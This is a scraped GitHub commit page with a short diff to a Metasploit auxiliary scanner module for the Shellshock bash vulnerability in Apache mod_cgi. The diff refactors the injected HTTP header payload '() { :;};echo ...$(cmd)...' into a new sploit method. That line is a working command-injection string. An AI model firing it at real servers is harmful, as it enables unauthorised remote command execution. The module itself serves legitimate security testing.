We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent df44dfb commit 71d6b37Copy full SHA for 71d6b37
modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
@@ -101,11 +101,15 @@ def req(cmd)
101
'method' => datastore['METHOD'],
102
'uri' => normalize_uri(target_uri.path),
103
'headers' => {
104
- datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
+ datastore['HEADER'] => sploit(cmd)
105
}
106
)
107
end
108
109
+ def sploit(cmd)
110
+ %Q{() { :;};echo -e "\\r\\n#{@marker}$(#{cmd})#{@marker}"}
111
+ end
112
+
113
def marker
114
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
115
0 commit comments